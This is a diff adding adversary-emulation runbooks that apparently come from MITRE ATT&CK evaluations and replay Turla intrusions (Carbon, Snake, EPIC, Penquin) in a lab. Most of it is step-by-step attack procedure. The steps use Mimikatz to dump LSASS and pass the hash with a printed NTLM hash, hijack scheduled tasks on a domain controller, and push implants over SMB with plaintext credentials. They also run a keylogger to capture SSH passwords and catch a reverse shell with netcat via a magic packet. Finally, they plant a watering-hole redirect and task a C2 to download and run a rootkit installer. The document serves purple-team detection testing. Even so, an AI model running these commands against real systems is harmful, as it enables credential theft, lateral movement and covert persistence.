:--------: | :---------------: | +| skt\Frieda | Password3! | + +* Open Microsoft Edge. + +:arrow_right: Return to your RDP session to `hobgoblin (10.20.20.102)` and +from the Admin Command Prompt, copy the 2nd Carbon installer to `bannik (10.20.10.9)`: + +```bat +move C:\Windows\System32\wmimetricsq.exe \\bannik\C$\Windows\System32 +``` + +:arrow_right: In your RDP session to `bannik (10.20.10.9)`, open File Explorer +and browse to `C:\Windows\System32`. Order the files by date. + +:arrow_right: Return to your RDP session to `hobgoblin (10.20.20.102)`. + +* From the Admin Command Prompt, execute the following to enumerate schtasks on +the domain controller: + +```bat +schtasks /query /S bannik /U skt\Frieda /P Password3! +``` + +* :heavy_exclamation_mark: Verify that `\Microsoft\Windows\Customer Experience +Improvement Program\Consolidator` task appears in the output. + * In the Command Prompt, press CTRL+F and in the "Find what:" field, enter + `Customer Experience Improvement Program` + * The output should contain: + * > ``` + > Folder: \Microsoft\Windows\Customer Experience Improvement Program + > TaskName Next Run Time Status + > ======================================== ====================== =============== + > Consolidator 2/24/2023 12:00:00 AM Ready + > UsbCeip N/A Ready + > ``` + +* Wait for the command to return and then modify a scheduled task using the +discovered password for the domain admin `Frieda` (). + +```bat +schtasks /Change /S bannik /U skt\Frieda /P Password3! /TN "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator" /TR %SystemRoot%\System32\wmimetricsq.exe +``` + +* Wait for the command to return and then start the modified scheduled task on +the domain controller. + +```bat +schtasks /Run /S bannik /U skt\Frieda /P Password3! /TN "\Microsoft\Windows\Customer Experience Improvement Program\Consolidator" /I +``` + +:arrow_right: Return to your RDP session to bannik. + +* Open File Explorer and browse to `C:\Program Files\Windows NT\2028`. Validate +the existence of a `dsntport.dat` file. The log file should be growing every +~20 seconds. + +### :moyai: Source Code + +* [CARBON-DLL installer](../../Resources/Carbon/CarbonInstaller/README.md) + * [Drop components](../../Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp#L178) + * [Create Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L170) + * Service registry edits: [1](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L230), [2](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L284) + * [Start Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L354) + * [Loader Service](../../Resources/Carbon/CarbonInstaller/Loader/src/service.cpp) +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Comms Lib DLL Injection](../../Resources/Carbon/Orchestrator/src/injection.cpp#L454) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) + * [Peer to peer communications over named pipes](../../Resources/Carbon/CommLib/src/NamedPipeP2p.cpp) + +### :microscope: Cited Intelligence + +* +* +* +* +* + +
+ +## Test 5: Mimikatz and PsExec of 3rd Carbon Installer + +:microphone: `Voice Track:` + +Test 5 emulates Turla downloading and executing Mimikatz as `terabox.exe` in +order to perform lateral movement to a second workstation in the domain. + +--- + +### :biohazard: Procedures + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy over +Mimikatz to `bannik (10.20.10.9)`: +```bash +cd /opt/day1/turla/Resources/payloads/carbon +smbclient -U 'skt.local\frieda'%'Password3!' //10.20.10.9/C$ -c 'put mimikatz.exe Windows\System32\terabox.exe' +``` + +:arrow_right: Return to your RDP session to `bannik (10.20.10.9)` as `Frieda`. + +* Open File Explorer and browse to `C:\Windows\System32`. Order the files by +date. + +* Open an elevated Windows Command Prompt and execute the following +command to dump LSASS: + +NOTE: This command varies slightly from the Detections scenario with the +addition of `privilege::debug` since we are not executing from SYSTEM +context. + +```bat +C:\Windows\System32\terabox.exe "pr::d" "lsdu::go /ynot" "quit" +``` + +* :heavy_exclamation_mark: Verify that the NTLM hash for `adalwolfa` is included +in the output. + * In the Command Prompt, press CTRL+F and in the "Find what:" field, enter + `NTLM : 07d128430a6338f8d537f6b3ae1dc136` + * The output should contain: + * > ``` + > RID : 00000456 (1110) + > User : Adalwolfa + > + > * Primary + > NTLM : 07d128430a6338f8d537f6b3ae1dc136 + > LM : + > Hash NTLM: 07d128430a6338f8d537f6b3ae1dc136 + > ntlm- 0: 07d128430a6338f8d537f6b3ae1dc136 + > lm - 0: 95b8536c32208871930216e62d5e12d4 + > ``` + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy over +PsExec and the 3rd Carbon installer to `bannik (10.20.10.9)`: + +```bash +smbclient -U 'skt.local\frieda'%'Password3!' //10.20.10.9/C$ -c 'put PsExec.exe Windows\System32\wsqsp.exe' +smbclient -U 'skt.local\frieda'%'Password3!' //10.20.10.9/C$ -c 'put carbon_installer_3.exe Windows\System32\wsqmanager.exe' +``` + +:arrow_right: Return to your RDP session to `bannik (10.20.10.9)` as `Frieda`. + +* Return to the File Explorer window in System32. + +* :arrow_right: Minimize (do not close) the RDP window. Start a new RDP session +to `khabibulin (10.20.20.104)` as `adalwolfa`: + +| Username | Password | +| :--------: | :---------------: | +| skt\adalwolfa | Password2! | + +* Close any spurious windows + +* Open up Edge, but don't browse to any website just yet. The browser process +is needed for Carbon comms lib DLL injection to occur. + +:arrow_right: Minimize (do not close) the `khabibulin (10.20.20.104)` RDP +window and return to the RDP session to `bannik (10.20.10.9)`. + +* From the existing elevated Windows Command Prompt, execute Mimikatz +Pass-the-Hash with PsExec to execute the 3rd Carbon installer on `khabibulin +(10.20.20.104)`: + +```bat +C:\Windows\System32\terabox.exe "pr::d" "slsa::htp /user:adalwolfa /domain:skt /ntlm:07d128430a6338f8d537f6b3ae1dc136 /remotepc:khabibulin /pexe:C:\Windows\System32\wsqsp.exe /sys:1 /prun:C:\Windows\System32\wsqmanager.exe" "quit" +``` + +:heavy_exclamation_mark: Verify that a new Carbon implant has been registered with the control server. + +### :moyai: Source Code + +* [Mimikatz](../../Resources/Mimikatz) +* [CARBON-DLL installer](../../Resources/Carbon/CarbonInstaller/README.md) + * [Drop components](../../Resources/Carbon/CarbonInstaller/Dropper/src/file_handler.cpp#L178) + * [Create Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L170) + * Service registry edits: [1](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L230), [2](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L284) + * [Start Loader Service](../../Resources/Carbon/CarbonInstaller/Dropper/src/service_handler.cpp#L354) + * [Loader Service](../../Resources/Carbon/CarbonInstaller/Loader/src/service.cpp) +* [CARBON-DLL Orchestrator](../../Resources/Carbon/Orchestrator/README.md) + * [Task Execution](../../Resources/Carbon/Orchestrator/src/tasking.cpp#L388) +* [CARBON-DLL Comms Lib](../../Resources/Carbon/CommLib/README.md) + * [Beacon and task/payload retrieval over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L313) + * [Upload task output over HTTP](../../Resources/Carbon/CommLib/src/CommLib.cpp#L342) + +### :microscope: Cited Intelligence + +* [Report 4: SwissCERT - RUAG Report](https://www.ncsc.admin.ch/ncsc/en/home/dokumentation/berichte/fachberichte/technical-report_apt_case_ruag.html) +* [Report 9: Symantec - Waterbug New Toolset](https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/waterbug-espionage-governments) +* +* +* +* +* +* +* + +
+ +## Test 6: Keylogger + +:microphone: `Voice Track:` + +Test 6 emulates Turla installing a custom keylogger (`wingtsvcupdt.exe`) on +`Adalwolfa`'s workstation and harvesting credentials from the system. + +--- + +### :biohazard: Procedures + +:arrow_right: Start a new RDP session to `khabibulin (10.20.20.104)` as +`adalwolfa` (if no existing RDP from a previous test): + +| Username | Password | +| :--------: | :---------------: | +| skt\adalwolfa | Password2! | + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy over +the keylogger to `khabibulin (10.20.20.104)`: + +```bash +smbclient -U 'skt.local\adalwolfa'%'Password2!' //10.20.20.104/C$ -c 'put keylogger.exe Windows\Temp\wingtsvcupdt.exe' +``` + +:arrow_right: Return to your RDP session to `khabibulin (10.20.20.104)` as `adalwolfa`. + +* Open an elevated Windows Command Prompt and execute the following command to +start the keylogger: + +```bat +C:\Windows\Temp\wingtsvcupdt.exe +``` + +* NOTE: This should hang the terminal with the following output: + * >``` + >Monitoring window information... + >Set hooks + >``` + +* Simulate activity as Adalwolfa: + * Minimize the elevated Windows Command Prompt + * Open Edge. + * :heavy_exclamation_mark: **Type in full, do not copy or autocomplete,** + into the address bar and press enter. + * Open a new non-admin PowerShell terminal + * **Type do not copy** the SSH command: `ssh adalwolfa@10.20.10.23` + * **Type do not copy** the SSH password `Password2!` when prompted. + * Within the SSH session, **type do not copy** the follow commands as + `Adalwolfa`: + 1. `sudo nano /var/www/html/index.html` + 2. Go to line 198 with `CTRL + SHIFT + -` then type 198 + 3. Replace `Apache2 Ubuntu Default Page` with `Adalwolfa's Page` + 4. save the file with `CTRL + X`, `Y`, `enter` + 5. Type `exit` to exit from the SSH session + +* From the elevated Windows Command Prompt, CTRL + C to kill the keylogger + +* Execute the following command to output the data written to the keylogger file: +```bat +type %temp%\\~DFA512.tmp +``` + +:heavy_exclamation_mark: Verify that the keystrokes were logged containing the +website information and Adalwolfa's SSH credentials. + +### :moyai: Source Code + +* [Keylogger](../../Resources/Keylogger/README.md) + * [Current hostname discovery](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L41) + * [Token manipulation and session discovery to restart in active session](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L579) + * [Keylogging hook routine](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L349) + * [Set keylogging hook](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L719) + * [Active window discovery](../../Resources/Keylogger/Keylogger/Keylogger/keylogger.cpp#L419) + +### :microscope: Cited Intelligence + +* +* +* +* + +
+ +## Test 7: Penquin + +:microphone: `Voice Track:` + +Test 7 emulates Turla laterally moving to the Linux Apache server and +installing Penquin. Once Penquin's sniffer has been installed, a magic packet +is sent to the Apache server, from which the sniffer component of Penquin +parses the IP address to connect to, and triggers the establishment of a +reverse shell. + +--- + +### :biohazard: Procedures + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy over +Penquin and pscp.exe to `khabibulin (10.20.20.104)`: + +```bash +smbclient -U 'skt.local\adalwolfa'%'Password2!' //10.20.20.104/C$ -c 'put hsperfdata.zip Windows\Temp\tmp504e.tmp' +smbclient -U 'skt.local\adalwolfa'%'Password2!' //10.20.20.104/C$ -c 'put pscp.exe Windows\System32\pscp.exe' +``` + +:arrow_right: Switch to your RDP session to `khabibulin (10.20.20.104)` +or, if one was not opened from a previous step, open a new RDP session to +`khabibulin (10.20.20.104)` as `adalwolfa`: + +| Username | Password | +| :--------: | :---------------: | +| skt\adalwolfa | Password2! | + +* Open File Explorer and browse to `C:\Windows\System32` + +* Open an elevated Windows Command Prompt (if no existing admin prompt from a +previous step) + +* Use the elevated Windows Command Prompt to copy Penquin to the Apache web +server using Adalwolfa's credentials. + +```bash +echo y | C:\Windows\System32\pscp.exe -pw Password2! C:\Windows\Temp\tmp504e.tmp adalwolfa@10.20.10.23:/tmp/tmp514f524f +``` + +:arrow_right: From the "smbclient" tab on the Kali Linux machine, copy over +plink.exe to `khabibulin (10.20.20.104)`: + +```bash +smbclient -U 'skt.local\adalwolfa'%'Password2!' //10.20.20.104/C$ -c 'put plink.exe Windows\System32\plink.exe' +``` + +:arrow_right: Return to your RDP session to `khabibulin (10.20.20.104)` as +`adalwolfa`. + +* Return to the File Explorer window in System32. + +* Return to the elevated Windows Command Prompt to execute Penquin (Penquin +takes ~8 seconds to execute). + +```bash +(echo unzip /tmp/tmp514f524f -d /tmp & echo sudo mv /tmp/hsperfdata /root/hsperfdata & echo sudo /root/hsperfdata & echo exit) | C:\Windows\System32\plink.exe -ssh -l adalwolfa -pw Password2! 10.20.10.23 +``` + +* Wait for the command to return. + +* :arrow_right: From your Kali Linux machine, open a new terminal tab using Ctrl+Shift+T. Rename the new tab to `Penquin NC` + +* In the new tab, set up a Netcat listener for Penquin's reverse shell to connect to: + +```bash +nc -lvvp 8081 +``` + +* Open up another terminal tab and name this one to `Packet Sender`. Run the following commands to send the magic packet to the Apache server using +the `sendPacket.py` utility. + +```bash +cd /opt/day1/turla +sudo -E python3 Resources/Penquin/sendPacket.py --handler_ip 176.59.15.33 --handler_port 8081 --target_ip 10.20.10.23 --target_port 8080 --payload_type base64 +``` + +* Wait a few seconds and then check the Netcat tab (`Penquin NC`). The Netcat prompt should report a successful connection. + +* In the terminal where the reverse shell has connected to the Netcat listener, paste the following command to add the + watering hole redirection to index.html: + +```bash +echo "" >> /var/www/html/index.html +``` + +* Wait 1 minute and then send the following command to close the reverse shell + +```bash +exit +``` + +### :moyai: Source Code + +* [Penquin](../../Resources/Penquin/) ([Network Sniffer](../../Resources/Penquin/sniff.c) & [Penquin Installer](../../Resources/Penquin/main.c)) + * [Writes the sniffer (Penquin) to disk](../../Resources/Penquin/main.c#L220) + * [Moves Penquin to /usr/bin](../../Resources/Penquin/main.c#L121) + * [Creates a service file](../../Resources/Penquin/main.c#L173) + * [Stops cron service](../../Resources/Penquin/main.c#L143) + * [Executes Penquin as cron](../../Resources/Penquin/main.c#L198) + * [Real cron starts as child process](../../Resources/Penquin/sniff.c#L198) + * [Installs packet sniffer on eth0](../../Resources/Penquin/sniff.c#L482) + * [Magic packet filter criteria](../../Resources/Penquin/sniff.c#L437-L442) + * [Execute reverse shell](../../Resources/Penquin/sniff.c#L405) + * [sendPacket.py](../../Resources/Penquin/sendPacket.py) + +### :microscope: Cited Intelligence + +* +* +* +* +* +* +* +* diff --git a/turla/Emulation_Plan/Carbon_Scenario/README.md b/turla/Emulation_Plan/Carbon_Scenario/README.md new file mode 100644 index 00000000..9beed4e3 --- /dev/null +++ b/turla/Emulation_Plan/Carbon_Scenario/README.md @@ -0,0 +1,38 @@ +# Carbon Scenario + +For ATT&CK Evaluations Enterprise Round 5, the Carbon scenario was developed to +emulate Turla's utilization of the following software: +- Epic +- Carbon +- PsExec +- Mimikatz +- Keylogger +- Penquin + +## [Detections Scenario](./Carbon_Detections_Scenario.md) + +This 10 step scenario was created for the Detections portion of ATT&CK +Evaluations Enterprise Round 5, where all prevention mechanisms and protection +tooling is **disabled** to allow the full emulation plan to execute unobstructed. +This allows the scenario to be executed from beginning to end, with each step +building upon the previous. and for telemetry on red team activity to be +gathered in full. + +## [Protections Scenario](./Carbon_Protections_Scenario.md) + +The scenario created for the Detections portion was modularized into 7 discrete +tests to create the Protections portion of ATT&CK Evaluations Enterprise Round +5, where prevention mechanisms and protection tooling is **enabled**. This +highlights protection capabilities of the deployed solution and encourages +blocks of red team activity as early as possible. For this reason, this +version of the scenario was designed to removes the dependencies between each +step. + +## Infrastructure + +This scenario was executed on the following infrastructure: + +![Carbon Infrastructure Diagram](../../Resources/Images/CarbonInfrastructure.png) + +Reference [setup](../../Resources/setup/) for guidance on deploying the +infrastructure used by this scenario. \ No newline at end of file diff --git a/turla/Emulation_Plan/README.md b/turla/Emulation_Plan/README.md new file mode 100644 index 00000000..fd88ff74 --- /dev/null +++ b/turla/Emulation_Plan/README.md @@ -0,0 +1,11 @@ +# Turla Emulation Plans + +An **emulation plan** is the primary document used to execute the red team scenario during a purple team operation. This document includes red team execution commands, links to source code, ATT&CK techniques leveraged, and CTI reporting references. + +When we have multiple emulation plans, we break these plans into scenarios and provide a description of the plan's focus. + +| Emulation Plan | CTI Operations Flow | Description | +| ----------------- | ------------------- | ----------- | +| [Carbon Scenario](./Carbon_Scenario/) | [Carbon Operations Flow](../Operations_Flow/Carbon_Operations_Flow.md) | This directory contains the scenarios developed focusing on Turla's usage of Carbon. This plan was used to conduct ATT&CK Evaluations Enterprise Round 5 in 2023 | +| [Snake Scenario](./Snake_Scenario/) | [Snake Operations Flow](../Operations_Flow/Snake_Operations_Flow.md) | This directory contains the scenarios developed focusing on Turla's usage of Snake. This plan was used to conduct ATT&CK Evaluations Enterprise Round 5 in 2023. | +| [Caldera Support Files](./yaml/) | | This directory contains the setup instructions and data for porting the above scenarios into Caldera | diff --git a/turla/Emulation_Plan/Snake_Scenario/README.md b/turla/Emulation_Plan/Snake_Scenario/README.md new file mode 100644 index 00000000..62343946 --- /dev/null +++ b/turla/Emulation_Plan/Snake_Scenario/README.md @@ -0,0 +1,37 @@ +# Snake Scenario + +For ATT&CK Evaluations Enterprise Round 5, the Snake scenario was developed to +emulate Turla's utilization of the following software: +- Epic +- Snake +- PsExec +- Mimikatz +- LightNeuron + +## [Detections Scenario](./Snake_Detections_Scenario.md) + +This 9 step scenario was created for the Detections portion of ATT&CK +Evaluations Enterprise Round 5, where all prevention mechanisms and protection +tooling is **disabled** to allow the full emulation plan to execute unobstructed. +This allows the scenario to be executed from beginning to end, with each step +building upon the previous. and for telemetry on red team activity to be +gathered in full. + +## [Protections Scenario](./Snake_Protections_Scenario.md) + +The scenario created for the Detections portion was modularized into 6 discrete +tests to create the Protections portion of ATT&CK Evaluations Enterprise Round +5, where prevention mechanisms and protection tooling is **enabled**. This +highlights protection capabilities of the deployed solution and encourages +blocks of red team activity as early as possible. For this reason, this +version of the scenario was designed to removes the dependencies between each +step. + +## Infrastructure + +This scenario was executed on the following infrastructure: + +![Snake Infrastructure Diagram](../../Resources/Images/SnakeInfrastructure.png) + +Reference [setup](../../Resources/setup/) for guidance on deploying the +infrastructure used by this scenario. \ No newline at end of file diff --git a/turla/Emulation_Plan/Snake_Scenario/Snake_Detections_Scenario.md b/turla/Emulation_Plan/Snake_Scenario/Snake_Detections_Scenario.md new file mode 100644 index 00000000..6128add0 --- /dev/null +++ b/turla/Emulation_Plan/Snake_Scenario/Snake_Detections_Scenario.md @@ -0,0 +1,859 @@ +# Scenario Overview + +Legend of symbols: +* :bulb: - callout notes +* :heavy_exclamation_mark: - extremely important note +* :arrow_right: - Switching to another session +* :o: - Sign out of something + +--- + +## Setup + +:arrow_right: RDP, do not SSH, to the Kali attacker machine `(176.59.15.33)`. + +* Open a new terminal window, cd to the cloned repo control server, and start the control server: + +```bash +cd /opt/day2/turla/Resources/control_server +rm logs.txt +sudo ./controlServer -c ./config/turla_day2.yml +``` + +* Ensure the EPIC, Snake, and LightNeuron handlers started up. + +## Step 11 - Initial Compromise and Establish Foothold + +:microphone: `Voice Track:` + +Step 11 emulates Turla gaining initial access via a watering hole attack +targeting user `Egle`. + +`Egle` visits a legitimate, but compromised website. This website redirects +`Egle` to a duplicated, malicious version of the compromised website +hosted on an adversary server containing javascript (JS) that fingerprints +their machine in the background and installs an evercookie on their browser. + +This malicious WordPress website prompts `Egle` with a notice to update their +NotFlash. `Egle` clicks to download the update, NFVersion_5e.exe, containing +EPIC (a.k.a. Tavdig/Wipbot). + +The execution flow of EPIC follows the same execution flow of EPIC in the Carbon +scenario. The only difference with this scenario's version of EPIC is it +communicates over HTTPS instead. + +Once C2 communications have been established between EPIC and the C2 via the +proxy server, discovery is performed on the first host where information about +the host device and domain computers is collected. + +--- + +### :biohazard: Procedures + +:arrow_right: RDP to `Azuolas (10.100.40.103)` as `Egle`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Egle | Producer1! | + +* Open Microsoft Edge and browse to `nato-int.com`. + +* Wait for redirection to `anto-int.com`. + +* After redirection you will prompted to update NotFlash. Click to download the +update (`NFVersion_5e.exe`) bundled with EPIC (a.k.a. Tavdig/Wipbot). + +* Once the download has been completed, click the downloaded binary to execute it. + +* Wait 1 minute for it to finish running. + +* Close out of all tabs and sign out of your RDP session. + +* Re-RDP to `Azuolas (10.100.40.103)` as `Egle`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Egle | Producer1! | + +* Open Microsoft Edge and browse to `https://drebule.nk.local/owa`. Log in as `Egle`: + +| Username | Password | +| :--------: | :---------------: | +| nk\Egle | Producer1! | + +:arrow_right: **Set a timer for 2 minutes** then switch to your Kali control server terminal and +confirm that a new implant has registered and the automated discovery output has been returned in +the server log. + +**NOTE:** The injector will wait **2 minutes**, before injecting EPIC's Guard DLL into explorer.exe +and, subsequently, EPIC's worker DLL into Microsoft Edge. + +* Within the terminal window, split your terminal horizontally via right-click -> split terminal. Be careful not to accidentally terminate the control server. + +* In your lower terminal tab, task the EPIC implant with the following set of discovery commands: + +```bash +cd /opt/day2/turla/Resources/control_server +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | systeminfo && net group "Domain Computers" /domain' +``` + +### :moyai: Source Code + +* Watering Hole + * [Browser redirection](../../Resources/setup/files/watering_hole/redirection.py#L18-L31) + * Browser evercookie (utilized built-in [BeEF Evercookie](https://github.com/beefproject/beef/blob/486a9bb329f46e434e40c8e8567afa2754b37517/core/main/client/session.js#L15-L16) from the Browser Exploitation Framework) + * [Fingerprinting details](../../Resources/setup/files/watering_hole/README.md#fingerprinting-details-from-beef-via-evercookie-and-other-bundled-tools) +* [EPIC Dropper](../../Resources/EPIC/SimpleDropper) + * [File write of EPIC injector](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L34-L50) + * [Registry modification](../../Resources/EPIC/SimpleDropper/SimpleDropper/Source.cpp#L95-L143) +* [EPIC Injector](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/) + * Extract EPIC Guard DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L161-L193) + * Targeting explorer.exe for [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective_injector/reflective_injector/Source.cpp#L199-L233) +* [EPIC Guard](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/) + * Extract EPIC payload DLL from resources section [FindResourceW](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L161-L193) + * Targeting svchost.exe for payload [DLL injection](../../Resources/EPIC/Defense-Evasion/reflective-guard/reflective-guard/dllmain.cpp#L235-L283) +* [EPIC Payload](../../Resources/EPIC/payload/) (in msedge.exe) + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) + * User discovery [GetAllUsers](../../Resources/EPIC/payload/src/epic.cpp#L111-L182) + * Directory discovery [DirectoryDiscovery](../../Resources/EPIC/payload/src/epic.cpp#L257-L298) + * Write results to log file [WriteResults](../../Resources/EPIC/payload/src/epic.cpp#L311-L345) + * C2 communications are: + * [bzip2 compressed](../../Resources/EPIC/payload/src/comms.cpp#L462-L469) + * [AES encrypted](../../Resources/EPIC/payload/src/comms.cpp#L483-L484) + * [RSA encrypted AES key](../../Resources/EPIC/payload/src/comms.cpp#L487-L497) + * [base64 encoded](../../Resources/EPIC/payload/src/comms.cpp#L505) + * C2 communications are over [HTTPS](../../Resources/EPIC/payload/src/comms.cpp#L422-L459), [HTTPS specific flags](../../Resources/EPIC/payload/src/comms.cpp#L371-L379) + +### :microscope: Cited Intelligence + +* +* +* +* +* +* +* +* +* + + +## Step 12 - Rootkit Installation + +:microphone: `Voice Track:` + +Step 12 emulates Turla exploiting a vulnerable driver to install the Snake rootkit +on the `Azuolas (10.100.40.103)` system. + +The existing EPIC implant, running under the context of `Egle`, will be used to download +the Snake installer to the local machine and execute the installer as second stage +malware. The Snake installer will escalate privileges to SYSTEM by exploiting a Windows 10 vulnerability. +Once running as SYSTEM, the installer will disable DSE by loading and exploiting a vulnerable driver. +Once DSE is disabled, the installer will load the Snake rootkit driver. + +The rootkit driver will hook various functions and will inject a user-mode DLL into a SYSTEM process +to execute received tasks from the C2 server. The driver will then wait for a browser process to make a network request +to inject the user-mode DLL into the browser for C2 communications over HTTP. The injected DLLs will communicate between each +other via named pipes. + +At some point, `Egle` will browse to a website, triggering the rootkit driver to +inject the user-mode DLL into the browser process - this DLL will begin communication with the C2 server +over HTTP. + +--- + +### :biohazard: Procedures + +* In your Kali C2 server, ensure that you are in the lower split terminal window. + +* Task the EPIC implant to download the Snake rootkit installer. + +```bash +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'name | C:\\Users\\Egle\\Desktop\\gusbsys.exe | snake.exe' +``` + +* Wait 1 minute after the payload is sucessfully downloaded before tasking the implant to execute the Snake rootkit installer with the privilege escalation option: + +```bash +./evalsC2client.py --set-task 218780a0-870e-480e-b2c5dc 'exe | C:\\Users\\Egle\\Desktop\\gusbsys.exe -f' +``` + +* :arrow_right: Switch to your RDP session in `azuolas (10.100.40.103)` and go to your Edge window. Perform a hard refresh on the current page by pressing Ctrl+Shift+R. + +:arrow_right: Return to your Kali C2 server terminal window and verify that a new implant session is beaconing back to the C2 server. + +### :moyai: Source Code + +* EPIC + * File download [DownloadFile](../../Resources/EPIC/payload/src/epic.cpp#L441-L466) + * Execute commands [ExecCmd](../../Resources/EPIC/payload/src/epic.cpp#L47-L71) +* [Snake Installer](../../Resources/Snake/SnakeInstaller/README.md) + * [Privilege Escalation](../../Resources/Snake/SnakeInstaller/src/privesc/privesc.cpp#L180) + * [Disable DSE and Load Rootkit](../../Resources/Snake/SnakeInstaller/src/main.cpp#L63) + * [Start Snake Rootkit Driver](../../Resources/Snake/SnakeInstaller/src/driver/driver.cpp#L111) +* [Snake Rootkit](../../Resources/Snake/README.md) + * [Driver](../../Resources/Snake/SnakeDriver/SnakeDriver/driver.c#L76) + * [Function Hooking](../../Resources/Snake/SnakeDriver/SnakeDriver/hooks.c#L31) + * [Infinity Hook](../../Resources/Snake/SnakeDriver/libinfinityhook/README.md) + * [Drop DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/filesystem.cpp#L22) + * [Trigger injection on network request](../../Resources/Snake/SnakeDriver/SnakeDriver/wfp.cpp#L276) + * [Inject Usermodule DLL](../../Resources/Snake/SnakeDriver/SnakeDriver/inject.cpp#L30) +* [Snake Usermodule DLL](../../Resources/Snake/UserModule/README.md) + * [C2 communications over HTTP](../../Resources/Snake/UserModule/src/comms_http.cpp#L237) + +### :microscope: Cited Intelligence + +* [Report 9: Securelist/Artemon- Uroburos](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2014/08/20082358/uroburos.pdf) +* [Report 10: BAE/Artemon- Snake](https://artemonsecurity.com/snake_whitepaper.pdf) +* [Report 11: GData- Uroburos](https://public.gdatasoftware.com/Web/Content/INT/Blog/2014/02_2014/documents/GData_Uroburos_RedPaper_EN_v1.pdf) +* [Report 12: CIRCL- TR-25](https://www.circl.lu/pub/tr-25/) +* [Report 13: GData- Kernel Protection Mitigation](https://www.gdatasoftware.com/blog/2014/03/23966-uroburos-deeper-travel-into-kernel-protection-mitigation) +* [Report 14: GData- using WinDbg](https://www.gdatasoftware.com/blog/2014/06/23953-analysis-of-uroburos-using-windbg) +* [Report 16: GData- Project Cobra](https://www.gdatasoftware.com/blog/2015/01/23926-analysis-of-project-cobra) +* [Report 17: Tetrane- Uroburos with REVEN](https://blog.tetrane.com/2019/Analysis-Uroburos-Malware-REVEN.html) +* [Report 18: Talos- Snake Campaign](https://blog.talosintelligence.com/2014/04/snake-campaign-few-words-about-uroburos.html) +* [Report 19: Lastline- Dissecting Turla Rootkit](https://www.lastline.com/labsblog/dissecting-turla-rootkit-malware-using-dynamic-analysis/) +* [Report 20: Lastline- Kernel Exploit Makeover](https://www.lastline.com/labsblog/turla-apt-group-gives-their-kernel-exploit-a-makeover/) +* [Report 27: GitHub- hfiref0x/TDL](https://github.com/hfiref0x/TDL) +* [Report 28: CoreLabs- VirtualBox Privilege Escalation](https://www.coresecurity.com/core-labs/advisories/virtualbox-privilege-escalation-vulnerability) +* [Report 29: Unit42- Acidbox](https://unit42.paloaltonetworks.com/acidbox-rare-malware/) + +## Step 13 - First Workstation Discovery + +:microphone: `Voice Track:` + +Step 13 emulates Turla performing discovery on the first workstation to +discover a file server and associated file server admin. + +The Snake rootkit receives tasking from the C2 server to enumerate currently +running processes on the local computer and finds that `EgleAdmin` also has +processes running. Further enumeration of the `EgleAdmin` user shows that it is +a member of the `File Server Admins` group. Snake then impersonates `Egle` to +enumerate mapped drives on the local machine and discovers `Egle`'s home drive +is actively mapped to the file server. + +--- + +### :biohazard: Procedures + +* :arrow_right: Return to your RDP session to `azuolas (10.100.40.103)` as `Egle`. + +* Open up a powershell terminal and run the following command: + +```pwsh +runas /user:nk\egleadmin powershell +``` + +* When prompted, type in the password for `EgleAdmin`: + +| Username | Password | +| :--------: | :---------------: | +| nk\EgleAdmin | Producer1! | + +* A new powershell window should pop up. Run the following command to ensure that you are running as `nk\EgleAdmin`: + +```pwsh +whoami +``` + +* :arrow_right: Return to your Kali C2 server. + +* From your lower Kali C2 terminal window, task the Snake rootkit to run the following process discovery command: +```bash +# Discover running processes +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "tasklist.exe", "args": "/v"}' +``` + +* :heavy_exclamation_mark: Verify that the enumerated processes output contains a process running under `EgleAdmin` +```bash +grep 'NK\\EgleAdmin' logs.txt -i +``` + +* This should return output similar to the following: + * > ``` + > powershell.exe 2868 RDP-Tcp#6 5 79,140 K Unknown NK\egleadmin 0:00:00 N/A + > conhost.exe 7368 RDP-Tcp#6 5 18,088 K Unknown NK\egleadmin 0:00:00 N/A + > ``` + +* Wait 1 minute then execute the next discovery command to enumerate `EgleAdmin`'s groups: +```bash +# Enumerate details on EgleAdmin to find group membership +./evalsC2client.py --set-task 534b40585d514b554844 '{"type": 3, "proc": "net.exe", "args": "user /domain EgleAdmin"}' +``` +:heavy_exclamation_mark: Verify that `File Server Admins` is listed as one of the groups that `EgleAdmin` is 